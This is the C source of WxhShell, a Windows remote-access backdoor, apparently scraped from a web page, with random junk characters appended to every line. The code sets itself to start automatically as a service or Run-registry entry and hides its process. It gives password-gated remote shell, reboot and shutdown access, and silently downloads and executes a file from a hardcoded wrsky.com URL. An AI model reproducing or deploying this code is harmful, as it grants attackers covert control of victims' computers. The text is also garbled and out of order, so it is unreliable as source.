    ExitThread(0); !=;^Grv>  
    } >%h_ R:  
    break; !?`5r)K  
    } G9TK)Nz  
  // 关机 BSY2\AL p  
  case 'd': { :[3{-.c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : |#Iw  
    if(Boot(SHUTDOWN)) 2$. ubA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O['gp~P"  
    else { TL ;2,@H`  
    closesocket(wsh); N|EH`eu^i  
    ExitThread(0); *Em 9R  
    } u.YPb@  
    break; \Lv eZ_h5  
    } !j#Z48=&  
  // 获取shell //2G5F;  
  case 's': { T]l_B2.  
    CmdShell(wsh); o>mZ$  
    closesocket(wsh); US A!N  
    ExitThread(0); aL$m  
    break; ;Oh4W<hH}  
  } WHk/Rg%<  
  // 退出 (.-3q;)6  
  case 'x': { uvz}qH@j/Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Y_F"GQ  
    CloseIt(wsh); 4h\MSTF*  
    break; B<i )je!  
    } {|c <8  
  // 离开 cobq+Iyu  
  case 'q': { 2siUpmX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q$`{$RX  
    closesocket(wsh); xWWfts1t  
    WSACleanup(); S/Pffal  
    exit(1); .<} (J#vC  
    break; +QT(~<  
        } 6*u#^">,<  
  } J;,6ydf8!  
  } 3 &.?9  
;|Id g"2  
  // 提示信息 C8>zr6)1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ymkk"y.w  
} vU0j!XqE  
  } H6X]D"Y,  
:SUPGaUJ"  
  return; L!s/0kBg  
} R`q*a_  
Tu2BQ4\[  
// shell模块句柄 WW82=2rJ9  
int CmdShell(SOCKET sock) Mk9'  
{ G{ ~pA4  
STARTUPINFO si; YzJ\< tkp  
ZeroMemory(&si,sizeof(si)); H)S" `j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W}p>jP}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RO?5WJpPj  
PROCESS_INFORMATION ProcessInfo; U\'.rT[#  
char cmdline[]="cmd"; ^vmT=f;TM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); | Z'NMJU  
  return 0; a]XQM$T$  
} sN0S~}F+  
HEHTj,T  
// 自身启动模式 ovJ#2_  
int StartFromService(void) pi7Fd\A  
{ D{g6M>,\  
typedef struct {E`[ `Kf  
{ Wh6jr=>G  
  DWORD ExitStatus; T[*1*303  
  DWORD PebBaseAddress; ]7 " W(  
  DWORD AffinityMask; S~fURn  
  DWORD BasePriority; b@j**O>[q)  
  ULONG UniqueProcessId; aHx(~&hRcL  
  ULONG InheritedFromUniqueProcessId; =c>2d.^l  
}   PROCESS_BASIC_INFORMATION; &TYTeJ]  
.v;$sst5y  
PROCNTQSIP NtQueryInformationProcess; Lt>"R! "x  
Si#I^aF`%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &1)4B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #G2~#\  
?oF+?l  
  HANDLE             hProcess; Im7<\ b@  
  PROCESS_BASIC_INFORMATION pbi; (3 xCW  
0gdFXh$!e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _)s<E9t2N  
  if(NULL == hInst ) return 0; _aa3;kT_  
T(t@[U2^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); feM%-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xL8r'gV@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i}teY{pyc  
W>3[+wB  
  if (!NtQueryInformationProcess) return 0; 2Zt :]be  
.?{rd3[ec  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4FSA:]o-  
  if(!hProcess) return 0; *Kj*|>)  
8xs}neDg*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YjaEKM8*  
)p*I(y  
  CloseHandle(hProcess); Yd]y`J?#  
&:1PF.)N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RsV<4$  
if(hProcess==NULL) return 0; egQB!%D  
9))E\U  
HMODULE hMod; 0/{$5gy&  
char procName[255]; *J^l r"%c  
unsigned long cbNeeded; +M4X r *  
B#RBR<MFC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mS?.xu  
\Tf[% Kt x  
  CloseHandle(hProcess); :`('lrq  
P$LHsg]  
if(strstr(procName,"services")) return 1; // 以服务启动 ?,G CR1|4  
&o{=  
  return 0; // 注册表启动 )1 ]P4  
}  mZGAl1`8  
[O)(0  
// 主模块 Vl=!^T}l+  
int StartWxhshell(LPSTR lpCmdLine) A4 ;EtW+F  
{ #4hxbRN  
  SOCKET wsl; BET3tiHV  
BOOL val=TRUE; +/!kL0[v  
  int port=0; ) 0p9I0=  
  struct sockaddr_in door; \HR<^xY  
)_[eqr  
  if(wscfg.ws_autoins) Install(); $ = uz  
z1wJ-l  
port=atoi(lpCmdLine); jUny&Alj  
/u hA\m(  
if(port<=0) port=wscfg.ws_port; 8?p40x$m%  
_i@{:v  
  WSADATA data; w[`2t{^j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zJ-_{GiM*L  
]J<2a`IK!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QGv$~A[h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]IX6>p,  
  door.sin_family = AF_INET; j_=A)B?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2|="!c8K  
  door.sin_port = htons(port); <P)U Ggd  
;Y/{q B!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lr >:S  
closesocket(wsl); 7Jm&z/  
return 1; 2oY.MQD7iW  
} $e(]L(o;  
NO(^P+s  
  if(listen(wsl,2) == INVALID_SOCKET) { uJBs3X  
closesocket(wsl); U`{'-L.  
return 1; }b$?t7Q)  
} , 7` /D  
  Wxhshell(wsl); YH_mWN\Wu  
  WSACleanup(); OR{<)L  
qN5 ru2  
return 0; c~_nO d  
oJ r&9.S  
} ;3 N0)  
,'FH[2  
// 以NT服务方式启动 +I>u${sVx*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $P=B66t ^  
{ ;m/h?Y~  
DWORD   status = 0; Uavr>-  
  DWORD   specificError = 0xfffffff; hDO\Q7  
 O=,[u?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +XaRwcLC.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VnZRsFY<^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %kS4v,I  
  serviceStatus.dwWin32ExitCode     = 0; 1z .  
  serviceStatus.dwServiceSpecificExitCode = 0; tl:V8sYTP  
  serviceStatus.dwCheckPoint       = 0; 0 _!')+  
  serviceStatus.dwWaitHint       = 0; goE \C  
S JseP_-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pUGFQ."\  
  if (hServiceStatusHandle==0) return; [uJfmrEH  
M2pe*z  
status = GetLastError(); (-<s[VnXP  
  if (status!=NO_ERROR) oFO)28Btv  
{ E{Kc$,y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9.:]eL  
    serviceStatus.dwCheckPoint       = 0; _Q9Mn-&qQ  
    serviceStatus.dwWaitHint       = 0; >yZe1CP  
    serviceStatus.dwWin32ExitCode     = status; fbTq?4&Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; W2$MH: j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >,Z[IAU.x5  
    return; :V9%R~h/  
  } }?\8%hK"a7  
S7B7'[ru  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wz8 MV -D  
  serviceStatus.dwCheckPoint       = 0; Qkvg85  
  serviceStatus.dwWaitHint       = 0; D]?eRO9'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rudj"OGO  
} jkQ%b.a  
Q!91uNL  
// 处理NT服务事件,比如:启动、停止 Cr7T=&L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?M/H{  
{ 2l4*6rYa(  
switch(fdwControl) 8gHOs#\  
{ s|`ZV^R  
case SERVICE_CONTROL_STOP: u~C,x3yr  
  serviceStatus.dwWin32ExitCode = 0; d3[O!4<T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o]@Mg5(8Q  
  serviceStatus.dwCheckPoint   = 0; wv7XhY}  
  serviceStatus.dwWaitHint     = 0; X([8TR  
  { /<R[X>]<F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Rroz]*  
  } !RXG{1 :  
  return; anzt;V.;Y  
case SERVICE_CONTROL_PAUSE: HM]mOmL90N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nI es}n:  
  break; 0| }]=XN^  
case SERVICE_CONTROL_CONTINUE: V0/PjD,jP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m-HL7&iG$  
  break; @2`$ XWD  
case SERVICE_CONTROL_INTERROGATE: 8Y,imj\(v  
  break; 4Zn"K}q  
}; lVYrP|#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @}<b42  
}  Tb[1\  
]zATdfa  
// 标准应用程序主函数 Ncr*F^J4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _)U.5f<   
{ SjL&\),  
A-&XgOL  
// 获取操作系统版本 )j+G4  
OsIsNt=GetOsVer(); di4>Ir~]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0,]m.)ws  
{g]Mx|5Q  
  // 从命令行安装 ):-Ub4A\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fz{T;  
O%)Wo?)HM  
  // 下载执行文件 V^%P}RFMc  
if(wscfg.ws_downexe) { 2r"J"C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \(&UDG$  
  WinExec(wscfg.ws_filenam,SW_HIDE); b[rVr J  
} -d4|EtN  
z=6zc-$y 9  
if(!OsIsNt) { K"/3/`T  
// 如果时win9x,隐藏进程并且设置为注册表启动 xl ]1TB@  
HideProc(); bV&"jjEx  
StartWxhshell(lpCmdLine);  X]4j&QB  
} _J X>#h  
else z'9U.v'M)  
  if(StartFromService()) Ih<.2  
  // 以服务方式启动 yi;pn Z  
  StartServiceCtrlDispatcher(DispatchTable); rK[;wD<  
else 85_Qb2<'r  
  // 普通方式启动 m0p%R>:5  
  StartWxhshell(lpCmdLine); rlQ=rNrG&E  
ugzrG0=lx  
return 0; c<ORmg6  
} `hf`lq^  
Ku?1QDhrF*  
(9Of,2]&E  
7d^ ~.F  
=========================================== b ;>?m  
fb8)jd'~}O  
oTg 'N  
1G8,Eah  
PYiO l  
?|Ey WAL  
" $DW__h  
L:\>)6]Ls  
#include <stdio.h> LT#EYnG  
#include <string.h> *)L~1;7j>  
#include <windows.h> SQJ +C%   
#include <winsock2.h> p$}/~5b}4  
#include <winsvc.h> p"0Dl9  
#include <urlmon.h> jJD*s/o  
`R*SHy! _  
#pragma comment (lib, "Ws2_32.lib") ,AH2/^:%c  
#pragma comment (lib, "urlmon.lib") uann'ho?q  
*).!  
#define MAX_USER   100 // 最大客户端连接数 7c!#e=W@B  
#define BUF_SOCK   200 // sock buffer m=25HH7enb  
#define KEY_BUFF   255 // 输入 buffer (>uA(#Z  
B'I_i$g4w  
#define REBOOT     0   // 重启 +g;{c+Kw:  
#define SHUTDOWN   1   // 关机 yO` |X  
iB5q"hoZC  
#define DEF_PORT   5000 // 监听端口  F*_+k  
]xGpN ]u  
#define REG_LEN     16   // 注册表键长度 bg5i+a,?  
#define SVC_LEN     80   // NT服务名长度 Z23T 2  
2BiFP||  
// 从dll定义API mqbCa6>_S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $o/i / wcj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]c M8TT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BIEq(/-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _WZ{i,  
~x^Ra8A  
// wxhshell配置信息 ' g d=\gV  
struct WSCFG { Y;@]G=a   
  int ws_port;         // 监听端口 Wt.['`c<  
  char ws_passstr[REG_LEN]; // 口令 aQ-SrxmO8  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zs8]A0$  
  char ws_regname[REG_LEN]; // 注册表键名 1bjz :^  
  char ws_svcname[REG_LEN]; // 服务名 y t7>,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I+( b!(H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0oZZLi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;p7R~17  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _5S||TuNS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nzZs2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jz S iw z  
putRc??o;  
}; mDk6@Gd@U  
_SkiO }c8  
// default Wxhshell configuration Bw~jqDZ}|  
struct WSCFG wscfg={DEF_PORT, x3sX=jIW_  
    "xuhuanlingzhe", Lq2jXy5#n  
    1, my/KsB  
    "Wxhshell", abv*X 1  
    "Wxhshell", 9m)gp19YA  
            "WxhShell Service", \4>w17qng  
    "Wrsky Windows CmdShell Service", eeBW~_W  
    "Please Input Your Password: ", 5V~vND* s  
  1, y} is=h3  
  "http://www.wrsky.com/wxhshell.exe", l-Ha*>gX[j  
  "Wxhshell.exe" +43~4_Oj  
    }; :iGK9I  
X{(?p=]  
// 消息定义模块  U ^nv)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @^DVA}*b)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V(:wYk?ZR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w~&#:F?  
char *msg_ws_ext="\n\rExit."; vxug>2  
char *msg_ws_end="\n\rQuit."; Ya> AI.!K  
char *msg_ws_boot="\n\rReboot..."; )Gk?x$pY@  
char *msg_ws_poff="\n\rShutdown..."; Mlr'h}:H  
char *msg_ws_down="\n\rSave to "; _CTg")0o  
LwTdmR  
char *msg_ws_err="\n\rErr!"; ^Bo'87!.  
char *msg_ws_ok="\n\rOK!"; $|7=$~y  
R*D5n>~  
char ExeFile[MAX_PATH]; fmJK+  
int nUser = 0; ?6>*mdpl  
HANDLE handles[MAX_USER]; kr@!j@j$  
int OsIsNt; Ekik_!aB  
4[&&E7]EX  
SERVICE_STATUS       serviceStatus; wt;`_}g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hW9!  
$06('Hg&  
// 函数声明 +IWf~|s  
int Install(void); 7 h0u7N  
int Uninstall(void); edCVIY'1  
int DownloadFile(char *sURL, SOCKET wsh); 7+}WU4  
int Boot(int flag); R'6(eA[K  
void HideProc(void);  (:o:_U  
int GetOsVer(void); >8x)\'w  
int Wxhshell(SOCKET wsl); z@o6[g/*Q  
void TalkWithClient(void *cs); ?B$L'i[l  
int CmdShell(SOCKET sock); B/qN1D]U.  
int StartFromService(void); sa _J6~  
int StartWxhshell(LPSTR lpCmdLine); tIV{uVM[|D  
_cC1u7U9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y\(xYB>T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n~BQq-1  
ya5HAs  
// 数据结构和表定义 a(*"r:/lD  
SERVICE_TABLE_ENTRY DispatchTable[] = $G6kS@A  
{ ,fTC}>s4  
{wscfg.ws_svcname, NTServiceMain}, 08{^Ksg  
{NULL, NULL} UZmUYSu;  
}; vM]5IHqeE  
%Y0BPTt$  
// 自我安装 );y ZyWDV  
int Install(void) rBU)@IpDG  
{ W(Md0*   
  char svExeFile[MAX_PATH]; 6rWq hIaI  
  HKEY key; zDEgC  
  strcpy(svExeFile,ExeFile); 8B-mZFXpK  
FV7'3fIa  
// 如果是win9x系统,修改注册表设为自启动  - US>].  
if(!OsIsNt) { PFx.uqp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gdoaXw;Sy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?u;m ],w!  
  RegCloseKey(key); 7HY8 F5Brx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w1(5,~OB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t9*e"QH  
  RegCloseKey(key); t^>P,%$  
  return 0; :is2 &-|x  
    } @%*@Rar  
  } N !ay#V  
} @$L|   
else { ;@Z1y  
/*BK6hc  
// 如果是NT以上系统,安装为系统服务 1{]S[\F]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T-GvPl9ZJw  
if (schSCManager!=0) f%1\1_^g  
{ 3djw  
  SC_HANDLE schService = CreateService {06ClI  
  ( )c1Pj#|  
  schSCManager, Zn40NKYc  
  wscfg.ws_svcname, l+@k:IK  
  wscfg.ws_svcdisp, CS*lk!C  
  SERVICE_ALL_ACCESS, WBJn1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d(d3@b4Ta  
  SERVICE_AUTO_START, #Tag"b`  
  SERVICE_ERROR_NORMAL, p\#;(pf}s  
  svExeFile, fk6=;{  
  NULL, ;{&4jcV*  
  NULL, <^Y #q  
  NULL, fhR u-  
  NULL, $G}k'[4C  
  NULL  P s|[  
  ); 59:kL<;S-  
  if (schService!=0) ._;It198f  
  { +XX5;;IC  
  CloseServiceHandle(schService); r4gLoHD)  
  CloseServiceHandle(schSCManager); sAs`O@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xs"d+dc  
  strcat(svExeFile,wscfg.ws_svcname); S:xs[b.ZZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k\/es1jOEh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PR(KDwsT&l  
  RegCloseKey(key); +!`$(  
  return 0; qPUACuF'  
    } H15!QxD#  
  } 4\ )WMP  
  CloseServiceHandle(schSCManager); 'Cz]p~oF  
} <; Td8O89_  
} i?#U>0!  
wa&:86~l?  
return 1; prIJjy-F  
} zH~g5xgh  
9WQ'"wyAQ  
// 自我卸载 ntL%&wY  
int Uninstall(void) [5M!'  
{ KM^}d$x}s  
  HKEY key; AGVipI #  
v] Xy^7?  
if(!OsIsNt) { bZQ_j#{$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >%_i#|dE>  
  RegDeleteValue(key,wscfg.ws_regname); z|S4\Ae  
  RegCloseKey(key); d)$ seZB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %F;uW[4r  
  RegDeleteValue(key,wscfg.ws_regname); +K;%sAZy  
  RegCloseKey(key); 9N) Ea:N  
  return 0; [f$pq5f='  
  }  M[R'  
} 1ahb:Mjv  
} :O;uP_r9  
else { ??P3gA  
5(Xq58nhxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V0F1X s`  
if (schSCManager!=0) i.ivHV~ -  
{ |l?*' =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ID#P Ule  
  if (schService!=0) Ftu d6  
  { _9iF`Q  
  if(DeleteService(schService)!=0) { {UhpN"'"n  
  CloseServiceHandle(schService); )f%Q7  
  CloseServiceHandle(schSCManager); -N2m|%B  
  return 0; W}\<}dK  
  } ADA*w 1  
  CloseServiceHandle(schService); fEyc3K'5V  
  } 6b4]dvl_  
  CloseServiceHandle(schSCManager); k~$}&O  
} <L3ig%#B  
} )Vx C v  
|c,'0V,"cH  
return 1; ob(~4H-  
} ]=]`Mnuxb  
yf e4}0}  
// 从指定url下载文件 qNbgN{4  
int DownloadFile(char *sURL, SOCKET wsh) hB]<li)"C  
{ AiV1 vD`  
  HRESULT hr; Z3A"GWY  
char seps[]= "/"; "I[u D)$  
char *token; z8w@pT  
char *file; /KCIb:U  
char myURL[MAX_PATH]; y@]:7  
char myFILE[MAX_PATH]; RsP^T:M}$  
p{rzP,Pb&  
strcpy(myURL,sURL); D4QL lP  
  token=strtok(myURL,seps); 3#c0p790  
  while(token!=NULL) 6C*4' P9>  
  { &vS@-K  
    file=token; f<2<8xS  
  token=strtok(NULL,seps); VK$s+"  
  } @LDu08lr  
0Y ld!L  
GetCurrentDirectory(MAX_PATH,myFILE); ? `#  
strcat(myFILE, "\\"); n'Z5rXg  
strcat(myFILE, file); 1BA5|  
  send(wsh,myFILE,strlen(myFILE),0); 7.1FRxS  
send(wsh,"...",3,0); v@]\  P<E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r1Cq8vD*m  
  if(hr==S_OK) ln=:E$jX  
return 0; )u_[cEJHO  
else W q>qso  
return 1; Yu9.0A_) :  
o^& nkR  
} !5h@uar  
G[[<-[C]5  
// 系统电源模块 nM&UdKf3  
int Boot(int flag) bjGQ04da  
{ AoN |&o  
  HANDLE hToken; A LnE[}N6,  
  TOKEN_PRIVILEGES tkp; S?LUSb  
fIg~[VN"  
  if(OsIsNt) { e't1.%w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TP&&' 4?D1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =OF]xpI'&a  
    tkp.PrivilegeCount = 1; Nc[V kJ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j+>&~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;tu2}1#r  
if(flag==REBOOT) { -axV;+"b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i$W=5B>SO  
  return 0; p*S;4+>#  
} jneos~ 'n8  
else { "f<+~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0ud>oh4WPR  
  return 0; 04cNi~@m  
} '2.11cM3  
  } ^5d9n<_xnQ  
  else { iKN800^u  
if(flag==REBOOT) { h9L/.>CX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i7(\i2_P  
  return 0; [E/}-m6g  
} nH^RQ'19  
else { i@ XFnt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bB|P`l L  
  return 0; z@n779i  
} <FFaaGiE>  
} 0al8%z9e@  
fnm:Wa|,%|  
return 1; mjz<,s`D  
} ,HM~Zs  
p~w|St 7jg  
// win9x进程隐藏模块 +O,h<* y  
void HideProc(void) 3V`.<  
{ @|GKNW#  
K'zG[[P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 19t'  
  if ( hKernel != NULL ) kGX;x}q  
  { |6.1uRFE2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9&`ejeD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2i3& 3oz]O  
    FreeLibrary(hKernel); /Aq):T T  
  } NJglONO  
.5~W3v <  
return; )d|hIW]7(  
} 32sb$|eQq  
0w_2E  
// 获取操作系统版本 sC .R.  
int GetOsVer(void) PNbs7f  
{ _Vq7Gxy$R  
  OSVERSIONINFO winfo; >xt*(j&}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fii\&p7z  
  GetVersionEx(&winfo); %Jpb&CEY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q b|.;_  
  return 1; z4nVsgQ$  
  else j;k(AM<  
  return 0; S0ct;CS  
} drQioH-  
DjT ekn  
// 客户端句柄模块 ZREAEGi{  
int Wxhshell(SOCKET wsl) G"BoD5m  
{ pw7_j;}l  
  SOCKET wsh; N3};M~\  
  struct sockaddr_in client; ,K'}<dm|x  
  DWORD myID; A_t<SG5  
2Z-BZuK6p  
  while(nUser<MAX_USER) iK"j@1|  
{ \\D~Yg\#  
  int nSize=sizeof(client); \4SFD 3$&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pr-{/6j6  
  if(wsh==INVALID_SOCKET) return 1; XKsG2>l-W  
DOXRU5uP3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b* 6c.  
if(handles[nUser]==0) (WW,]#^  
  closesocket(wsh); |yI?}zyR  
else Dz&4za+{  
  nUser++; 2="C6 7TK  
  } b>%I=H%g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q\[31$i$  
!qH=l-7A  
  return 0; )^!-Aj\x  
} %a/O7s6  
1F5F2OT$8  
// 关闭 socket 8IC((  
void CloseIt(SOCKET wsh) _<.R\rX&  
{ e_6 i896  
closesocket(wsh); f|VP_o<  
nUser--; ,ASY &J5)7  
ExitThread(0); j.C C.[$g  
} !9o8v0ZI  
vS<;:3  
// 客户端请求句柄 j )F~C8*  
void TalkWithClient(void *cs) ]?)zH:2)  
{ 3iWLo Qm  
1'_OM h*;  
  SOCKET wsh=(SOCKET)cs; 7*XG]=z/  
  char pwd[SVC_LEN]; ,iPkx(  
  char cmd[KEY_BUFF]; :OI!YR%"  
char chr[1]; >5 5/@+^  
int i,j; k5xirB_  
v!`M=0k  
  while (nUser < MAX_USER) { jv0e&rt  
m@c2'*&Y  
if(wscfg.ws_passstr) { &2\.6rb.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3\@6i'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [=E<iPl  
  //ZeroMemory(pwd,KEY_BUFF); */8\Z46z  
      i=0; kD; BwU[  
  while(i<SVC_LEN) { eB]ZnJ2^=  
hG;u8|uT^i  
  // 设置超时 rfPJBD{Ve  
  fd_set FdRead; L:^'cl} G  
  struct timeval TimeOut; Y0hL_46>  
  FD_ZERO(&FdRead); ?y04g u6p  
  FD_SET(wsh,&FdRead); /r?X33D!  
  TimeOut.tv_sec=8; fg1 zT~  
  TimeOut.tv_usec=0; /cjf 1Dc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OIWo* %  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Aio0++ r-  
Kc{wv/6}T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P 2Eyqd8  
  pwd=chr[0]; |F=^Cu,  
  if(chr[0]==0xd || chr[0]==0xa) { \m.{^Xd~  
  pwd=0; I%s/h4x^B[  
  break; 9%dNktt  
  } *LhR$(F(  
  i++; 3~S~)quwP  
    } IWQ8e$N  
B=p'2lla  
  // 如果是非法用户,关闭 socket }z*p2)v`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j"dbl?og  
} EagI)W!s[  
 +*!!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KVntBe]I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l%:_#1?isf  
OL=bhZ  
while(1) { #*`|}_6L  
NdZ: 7  
  ZeroMemory(cmd,KEY_BUFF); >9klh-f  
HvngjP{>  
      // 自动支持客户端 telnet标准   Tld{b  
  j=0; %SE g(<  
  while(j<KEY_BUFF) { S,v`rmI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G@;aqe[dB  
  cmd[j]=chr[0]; ~+g5?y  
  if(chr[0]==0xa || chr[0]==0xd) { Nf~<xK  
  cmd[j]=0; cZ(XY}  
  break; 'SY &-<t(  
  } r3-3*_  
  j++; bM'AD[  
    } )>/c/ B  
GB=q}@&8p  
  // 下载文件 ev3x*}d0  
  if(strstr(cmd,"http://")) { g[$B9 0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7PMZt$n  
  if(DownloadFile(cmd,wsh)) |bk*Lgkzw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a !IH-XJ2  
  else g DhwJks  
